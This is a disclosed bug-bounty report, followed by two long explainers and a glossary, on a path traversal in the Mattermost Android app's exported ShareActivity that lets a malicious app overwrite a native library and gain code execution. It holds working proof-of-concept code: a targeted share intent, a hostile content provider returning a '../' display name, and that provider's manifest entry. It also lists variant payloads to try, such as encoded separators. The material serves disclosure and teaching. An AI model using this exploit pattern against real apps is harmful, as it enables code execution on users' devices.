Persistant Arbitrary code execution in mattermost android
The exported ShareActivity in the Mattermost Android app saved an incoming shared file using a filename taken from the sending content provider without sanitising it, so a crafted name containing directory traversal could overwrite a native library inside the app's private storage. On the next launch the app loads that library, giving the attacker arbitrary code execution in the app.
Originally disclosed on HackerOne
- Triaged in under an hour
- Fixed in 12 days
- Paid in 40 hours
- Disclosed after 3 months
Summary:
Activity com.mattermost.share.ShareActivity is is exported and is designed to allow file sharing from third party application to mattermost android app.
<activity android:theme="@style/AppTheme" android:label="@string/app_name" android:name="com.mattermost.share.ShareActivity" android:taskAffinity="com.mattermost.share" android:launchMode="singleInstance" android:screenOrientation="portrait" android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<action android:name="android.intent.action.SEND_MULTIPLE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="*/*"/>
</intent-filter>
</activity>
I have found path tansversal vulnerability at com.mattermost.share.RealPathUtil.java file
public static String getPathFromSavingTempFile(Context context, final Uri uri) {
int nameIndex = returnCursor.getColumnIndex(OpenableColumns.DISPLAY_NAME); //get file name here
returnCursor.moveToFirst();
fileName = returnCursor.getString(nameIndex); // "filename=../../lib-main/libyoga.so"
} catch (Exception e) {
// just continue to get the filename with the last segment of the path
}
String mimeType = getMimeType(uri.getPath());
tmpFile = new File(cacheDir, fileName);
tmpFile.createNewFile(); //path transversal here
ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "r");
//.../
It receives the value of _display_name from the provider and saved the file with this name, leading to path-traversal.
Steps To Reproduce:
- Install the POC app and open it. F1216351
On the next launch of the app the malicious code will be executed.In this poc the app will crash on next launch because i was too lazy and to create a modified version of libyoga.so
POC
In MainActivity.java
Intent intent = new Intent(Intent.ACTION_SEND);
intent.setClassName("com.mattermost.rn", "com.mattermost.share.ShareActivity");
intent.putExtra("android.intent.extra.STREAM",Uri.parse("content://com.example.android.pocok/?path=/data/data/com.example.android.pocok/libevil-lib.so&name=../../lib-main/libyoga.so"));
intent.setType("application/*");
startActivity(intent);
In EvilContentProvider.java
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});
matrixCursor.addRow(new Object[]{uri.getQueryParameter("name")});
return matrixCursor;
}
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
return ParcelFileDescriptor.open(new File(uri.getQueryParameter("path")), ParcelFileDescriptor.MODE_READ_ONLY);
}
In AndroidManifest.xml
<provider android:name=".EvilContentProvider" android:authorities="com.example.android.pocok" android:enabled="true" android:exported="true" />
Impact
Attacker can inject malicious library file in the application which will lead to arbitrary code execution in the app.
Context
Mattermost's Android client ships an exported activity, com.mattermost.share.ShareActivity, whose purpose is to let other apps on the device share files into Mattermost. Because it is exported and declares an intent filter for android.intent.action.SEND and android.intent.action.SEND_MULTIPLE with mimeType="*/*", any third-party application can hand it a content URI and have the app pull that content in.
The manifest entry for the activity, as quoted in the report, is:
<activity android:theme="@style/AppTheme" android:label="@string/app_name" android:name="com.mattermost.share.ShareActivity" android:taskAffinity="com.mattermost.share" android:launchMode="singleInstance" android:screenOrientation="portrait" android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<action android:name="android.intent.action.SEND_MULTIPLE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="*/*"/>
</intent-filter>
</activity>
The activity is not itself the flaw. The flaw is in how the shared file is copied into the app's private storage before being used.
Setup
The researcher built a proof-of-concept Android application that acts as a malicious content provider and sends a share intent to the Mattermost package (com.mattermost.rn). The researcher installed the POC app and opened it. No account, role or server-side access is involved; the whole chain is local to the device.
Finding it
The starting point was the exported ShareActivity and its wildcard MIME filter, which means the app accepts content from arbitrary providers. Looking at how the incoming URI is turned into a local file, the researcher found com.mattermost.share.RealPathUtil.java, which derives a temporary file name from the provider-supplied display name:
public static String getPathFromSavingTempFile(Context context, final Uri uri) {
int nameIndex = returnCursor.getColumnIndex(OpenableColumns.DISPLAY_NAME); //get file name here
returnCursor.moveToFirst();
fileName = returnCursor.getString(nameIndex); // "filename=../../lib-main/libyoga.so"
} catch (Exception e) {
// just continue to get the filename with the last segment of the path
}
String mimeType = getMimeType(uri.getPath());
tmpFile = new File(cacheDir, fileName);
tmpFile.createNewFile(); //path transversal here
ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "r");
//.../
The value of _display_name comes straight from the provider, and it is used as the file name when constructing tmpFile under cacheDir. Nothing sanitises it, so a name containing ../ sequences escapes the cache directory. The comment in the snippet shows the intended target: ../../lib-main/libyoga.so, a native library inside the app's own data directory.
Exploitation
Step 1: install and open the POC app
The researcher installed the POC application and opened it. On the next launch of the Mattermost app, the malicious code is executed. In this particular POC the app crashes on the next launch, because the researcher did not build a modified version of libyoga.so; the crash is a consequence of the placeholder payload, not of the mechanism.
Step 2: send a share intent at the exported activity
The POC's MainActivity.java builds an ACTION_SEND intent aimed explicitly at the Mattermost share activity and passes a content URI from the attacker's own provider:
Intent intent = new Intent(Intent.ACTION_SEND);
intent.setClassName("com.mattermost.rn", "com.mattermost.share.ShareActivity");
intent.putExtra("android.intent.extra.STREAM",Uri.parse("content://com.example.android.pocok/?path=/data/data/com.example.android.pocok/libevil-lib.so&name=../../lib-main/libyoga.so"));
intent.setType("application/*");
startActivity(intent);
setClassName targets the exported activity directly, so no chooser is needed. The STREAM extra carries the URI the app will read. The URI encodes two query parameters: path, the attacker-controlled file the provider will serve, and name, the traversal string that will be returned as the display name.
Step 3: serve a hostile display name and file from the provider
The POC's EvilContentProvider.java answers the two calls the Mattermost code makes. query returns the name parameter as _display_name, and openFile opens the path parameter read-only:
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});
matrixCursor.addRow(new Object[]{uri.getQueryParameter("name")});
return matrixCursor;
}
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
return ParcelFileDescriptor.open(new File(uri.getQueryParameter("path")), ParcelFileDescriptor.MODE_READ_ONLY);
}
Because _display_name is ../../lib-main/libyoga.so, the temporary file is created outside the cache directory, at the library path inside the app's data directory, and the bytes of libevil-lib.so are written into it.
Step 4: register the provider
The provider is declared exported in the POC's manifest so that the Mattermost app can query it:
<provider android:name=".EvilContentProvider" android:authorities="com.example.android.pocok" android:enabled="true" android:exported="true" />
Step 5: next launch
With the library file overwritten, the next launch of Mattermost loads the attacker's library and executes its code. In the researcher's POC the replacement was not a valid libyoga.so, so the observed result was a crash rather than code execution; the report states that a modified library would run the attacker's code.
Root cause
The temporary file name is taken from the OpenableColumns.DISPLAY_NAME column of a cursor supplied by an untrusted content provider and used directly in new File(cacheDir, fileName). A display name is metadata controlled by the provider, not a safe path component, and ../ sequences in it let the write escape cacheDir and land anywhere the app can write, including its native library directory. The exported activity with a */* filter is what makes an attacker-supplied provider reachable in the first place; the missing sanitisation of the display name is what turns that reachability into an arbitrary file write.
Impact
An attacker who can get a malicious app installed and opened on the device can write a crafted native library into the Mattermost app's data directory. On the next launch the app loads it, giving arbitrary code execution in the Mattermost app.
Fix
The report does not describe the fix that was applied.
Variants to test
- Other exported activities or services that accept
content://URIs and copy the content locally: send a provider whose_display_namecontains../and check whether a file appears outside the cache directory. - Code paths that use
OpenableColumns.SIZEor other cursor columns for allocation or naming: supply inconsistent values and watch for writes outside the intended directory. - Share handlers that derive file extensions from the MIME type or display name: try names ending in
.soor other loadable extensions to see whether the file lands somewhere it will be loaded. - Providers that return absolute paths or names with encoded separators (
%2e%2e%2f): check whether the app decodes before or after joining the path.
A positive result in each case is a file created outside the app's intended temporary directory, ideally at a path the app later loads or executes.
Hunting notes
This class of bug hides in exported components that accept content from other apps: share activities, file pickers, import handlers and anything with a */* intent filter. During recon, look for exported activities and providers in the manifest and trace where incoming URIs are turned into local files. The signal is any use of DISPLAY_NAME or other provider-controlled strings in a file path. The researcher demonstrated the chain with a POC app: a hostile provider, a targeted intent, and a write aimed at the app's library directory. The POC crashed on next launch because the library was not modified.
What happened, in plain words
Mattermost makes a chat app for Android phones. That app has a feature that lets you share a file from another app into Mattermost, for example sending a photo from your gallery into a chat. To do this, the Mattermost app contains a small piece of code called an activity that other apps on the phone are allowed to talk to. In Android, an activity is one screen or one action inside an app, and an activity can be marked exported, which means other apps are allowed to send it requests.
The researcher found that this sharing activity takes the name of the incoming file from whatever app sent it, and uses that name directly when saving a temporary copy of the file inside Mattermost's own storage. If the name contains the special sequence ../, which means "go up one folder", the file is not saved where it was supposed to be saved. It is saved somewhere else, in a folder the attacker chooses. The researcher used this to overwrite a library file that Mattermost loads when it starts. A library is a file of ready-made code that an app loads and runs. If you can replace it with your own code, your code runs inside Mattermost the next time the app starts. That is called arbitrary code execution: the attacker gets to run their own code in someone else's app.
One condition matters: the attacker needs their own app installed and opened on the victim's phone. The whole attack happens on the device. No Mattermost account, no server access and no special role is involved.
The sharing feature and why it is reachable
Android apps describe what they contain in a file called AndroidManifest.xml. The manifest lists activities, permissions and other components. When an activity is exported, any other app on the phone can start it. When an activity declares an intent filter, it is advertising which kinds of requests it accepts. An intent is a message one app sends to another, for example "please handle this file".
The report quotes the manifest entry for the sharing activity:
<activity android:theme="@style/AppTheme" android:label="@string/app_name" android:name="com.mattermost.share.ShareActivity" android:taskAffinity="com.mattermost.share" android:launchMode="singleInstance" android:screenOrientation="portrait" android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<action android:name="android.intent.action.SEND_MULTIPLE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="*/*"/>
</intent-filter>
</activity>
Line by line:
<activity ... android:name="com.mattermost.share.ShareActivity" ...>declares the activity and gives its full internal name. The other attributes set cosmetic and lifecycle behaviour: the theme, the label shown to the user, the task grouping, that only one instance runs at a time, that the screen stays in portrait, and which configuration changes the activity handles itself without restarting.<intent-filter>starts the list of requests this activity accepts.<action android:name="android.intent.action.SEND"/>means it accepts a single shared item.<action android:name="android.intent.action.SEND_MULTIPLE"/>means it also accepts several shared items at once.<category android:name="android.intent.category.DEFAULT"/>is the standard category that lets the activity be started by an ordinary intent.<data android:mimeType="*/*"/>means it accepts any file type at all. The*/*is a wildcard: any kind of content.
Because the activity is exported and accepts any file type from any app, a malicious app can hand it a file reference of its own choosing. That reachability is not the bug by itself. The bug is what Mattermost does with the file afterwards.
Setting up the test
The researcher wrote a small proof-of-concept (POC) Android app. A POC is a deliberately simple program that demonstrates a bug really works, without doing anything harmful. This POC app does two jobs. First, it pretends to be a content provider, which is an Android component that serves files or data to other apps on request. Second, it sends a share request to the real Mattermost app, whose package name is com.mattermost.rn. A package name is the unique identifier of an app on the phone.
The researcher installed the POC app and opened it.
Finding the flaw
The researcher started from the exported sharing activity and its wildcard file-type filter, because that means the app will accept content from any provider, including a hostile one. Then the researcher looked at how the incoming file reference is turned into a real file on disk. That code lives in a file called com.mattermost.share.RealPathUtil.java. The relevant part, as quoted in the report, is:
public static String getPathFromSavingTempFile(Context context, final Uri uri) {
int nameIndex = returnCursor.getColumnIndex(OpenableColumns.DISPLAY_NAME); //get file name here
returnCursor.moveToFirst();
fileName = returnCursor.getString(nameIndex); // "filename=../../lib-main/libyoga.so"
} catch (Exception e) {
// just continue to get the filename with the last segment of the path
}
String mimeType = getMimeType(uri.getPath());
tmpFile = new File(cacheDir, fileName);
tmpFile.createNewFile(); //path transversal here
ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "r");
//.../
Line by line:
public static String getPathFromSavingTempFile(Context context, final Uri uri) {is the start of a function that takes a file reference (aUri, which is like a web address but for content on the phone) and is meant to return a path to a saved temporary file.int nameIndex = returnCursor.getColumnIndex(OpenableColumns.DISPLAY_NAME);asks the provider for the position of the column that holds the file's display name. A cursor is the Android way of reading a table of results, like a spreadsheet you move through row by row.DISPLAY_NAMEis the human-friendly file name the provider reports.returnCursor.moveToFirst();moves to the first row of results.fileName = returnCursor.getString(nameIndex);reads the display name into a variable. The comment shows the value the researcher used:../../lib-main/libyoga.so.- The
catch (Exception e)block silently ignores errors and falls back to using the last part of the path as the name. String mimeType = getMimeType(uri.getPath());works out the file type from the path.tmpFile = new File(cacheDir, fileName);builds the location of the temporary file by joining the app's cache folder with the name that came from the provider. This is the dangerous line.tmpFile.createNewFile();creates the file. The comment marks this as the path traversal point.ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "r");opens the provider's content for reading, so the bytes can be copied in.
The display name is metadata supplied by the provider. It is not a safe path component. Nothing cleans it up, so a name containing ../ climbs out of the cache folder. The comment in the snippet shows the intended target: ../../lib-main/libyoga.so, a native library inside the app's own data directory. A native library is a compiled file of code, often written in C or C++, that the app loads at runtime.
Exploitation
Step 1: install and open the POC app
On the next launch of Mattermost, the malicious code is executed. In this particular POC the Mattermost app crashes on the next launch, because the researcher did not build a modified version of libyoga.so. The crash comes from the placeholder payload, not from the mechanism.
Step 2: send a share request to the exported activity
The POC's MainActivity.java builds a share request aimed directly at the Mattermost sharing activity and passes a content reference from the attacker's own provider:
Intent intent = new Intent(Intent.ACTION_SEND);
intent.setClassName("com.mattermost.rn", "com.mattermost.share.ShareActivity");
intent.putExtra("android.intent.extra.STREAM",Uri.parse("content://com.example.android.pocok/?path=/data/data/com.example.android.pocok/libevil-lib.so&name=../../lib-main/libyoga.so"));
intent.setType("application/*");
startActivity(intent);
Line by line:
Intent intent = new Intent(Intent.ACTION_SEND);creates a share request.ACTION_SENDis the standard Android action for sharing one item.intent.setClassName("com.mattermost.rn", "com.mattermost.share.ShareActivity");names the exact app and activity to receive it. Because the target is named directly, Android does not show the user a chooser asking which app to share to. The request goes straight to Mattermost.intent.putExtra("android.intent.extra.STREAM", ...)attaches the item to share.STREAMis the standard slot for a content reference. The reference iscontent://com.example.android.pocok/?path=/data/data/com.example.android.pocok/libevil-lib.so&name=../../lib-main/libyoga.so. Thecontent://prefix means it points at a content provider. The part after the?carries two parameters:path, the file the provider will serve, andname, the display name it will report. Thenamevalue is the traversal string.intent.setType("application/*");declares the content type as any application file, which matches the wildcard filter.startActivity(intent);sends the request.
Step 3: serve a hostile name and file from the provider
The POC's EvilContentProvider.java answers the two calls the Mattermost code makes. query returns the name parameter as the display name, and openFile opens the path parameter read-only:
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});
matrixCursor.addRow(new Object[]{uri.getQueryParameter("name")});
return matrixCursor;
}
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
return ParcelFileDescriptor.open(new File(uri.getQueryParameter("path")), ParcelFileDescriptor.MODE_READ_ONLY);
}
Line by line:
public Cursor query(...)is the function Android calls when another app asks the provider for information. The parameters describe what is being asked for.MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});creates an empty result table with a single column called_display_name.matrixCursor.addRow(new Object[]{uri.getQueryParameter("name")});adds one row whose value is whatever was passed in thenameparameter of the reference. So the display name the Mattermost app reads is fully attacker-controlled.return matrixCursor;hands the table back.public ParcelFileDescriptor openFile(...)is the function Android calls when another app wants to read the actual file contents. AParcelFileDescriptoris a handle to an open file.return ParcelFileDescriptor.open(new File(uri.getQueryParameter("path")), ParcelFileDescriptor.MODE_READ_ONLY);opens the file named in thepathparameter, read-only, and returns the handle.
Because the display name is ../../lib-main/libyoga.so, the temporary file is created outside the cache folder, at the library path inside the app's data directory. The bytes of libevil-lib.so are then written into it.
Step 4: register the provider
The provider is declared exported in the POC's manifest so that the Mattermost app is allowed to query it:
<provider android:name=".EvilContentProvider" android:authorities="com.example.android.pocok" android:enabled="true" android:exported="true" />
Line by line:
<provider ...>declares a content provider.android:name=".EvilContentProvider"is the class that implements it.android:authorities="com.example.android.pocok"is the unique name other apps use to address it. It matches thecontent://com.example.android.pocok/part of the reference.android:enabled="true"means the provider is switched on.android:exported="true"means other apps, including Mattermost, are allowed to talk to it.
Step 5: next launch
With the library file overwritten, the next launch of Mattermost loads the attacker's library and runs its code. In the researcher's POC the replacement was not a valid libyoga.so, so the observed result was a crash rather than code execution. The report states that a modified library would run the attacker's code.
Root cause
The temporary file name is taken from the OpenableColumns.DISPLAY_NAME column of a cursor supplied by an untrusted content provider, and used directly in new File(cacheDir, fileName). A display name is metadata controlled by the provider, not a safe path component. The ../ sequences in it let the write escape cacheDir and land anywhere the app can write, including its native library folder. The exported activity with a */* filter is what makes an attacker-supplied provider reachable in the first place. The missing sanitisation of the display name is what turns that reachability into an arbitrary file write.
Impact
An attacker who can get a malicious app installed and opened on the device can write a crafted native library into the Mattermost app's data directory. On the next launch the app loads it, giving arbitrary code execution in the Mattermost app.
Fix
The report does not describe the fix that was applied.
Variants to test
- Other exported activities or services that accept
content://references and copy the content locally: send a provider whose_display_namecontains../and check whether a file appears outside the cache folder. - Code paths that use
OpenableColumns.SIZEor other cursor columns for allocation or naming: supply inconsistent values and watch for writes outside the intended folder. - Share handlers that derive file extensions from the MIME type or display name: try names ending in
.soor other loadable extensions to see whether the file lands somewhere it will be loaded. - Providers that return absolute paths or names with encoded separators (
%2e%2e%2f): check whether the app decodes before or after joining the path.
A positive result in each case is a file created outside the app's intended temporary folder, ideally at a path the app later loads or executes.
Hunting notes
This class of bug hides in exported components that accept content from other apps: share activities, file pickers, import handlers and anything with a */* intent filter. During recon, look for exported activities and providers in the manifest and trace where incoming references are turned into local files. The signal is any use of DISPLAY_NAME or other provider-controlled strings in a file path. The researcher demonstrated the chain with a POC app: a hostile provider, a targeted request, and a write aimed at the app's library folder. The POC crashed on next launch because the library was not modified.
Glossary
- Activity: one screen or one action inside an Android app that can be started by the user or by another app.
- AndroidManifest.xml: the file in an Android app that lists its components, permissions and the kinds of requests it accepts.
- Arbitrary code execution: a bug where an attacker can make a program run code of the attacker's choosing.
- Cache directory: a private folder where an app stores temporary files.
- Content provider: an Android component that serves files or data to other apps on request.
- Content URI: a reference to content served by a content provider, starting with
content://. - Cursor: Android's way of reading a table of results, moved through row by row.
- CVSS: a standard scoring system for the severity of a security bug.
- Display name: the human-friendly file name a content provider reports for a file.
- Exported: an Android component that other apps on the phone are allowed to start or talk to.
- Intent: a message one Android app sends to another, for example asking it to handle a file.
- Intent filter: the declaration in an app's manifest of which kinds of intents it accepts.
- Library (native library): a file of ready-made compiled code that an app loads and runs at runtime.
- MIME type: a label for a kind of file, such as
image/pngorapplication/*for any application file. - Package name: the unique identifier of an Android app on the phone, such as
com.mattermost.rn. - Path traversal: a bug where a file name containing
../makes a program read or write outside the intended folder. - POC (proof of concept): a deliberately simple program that demonstrates a bug really works.
- Provider: short for content provider.
- Sanitise: clean up input so that dangerous characters or sequences cannot do harm.
- Severity: how serious a security bug is, often expressed as a CVSS score.
- Wildcard (
*/*): a pattern that matches any file type.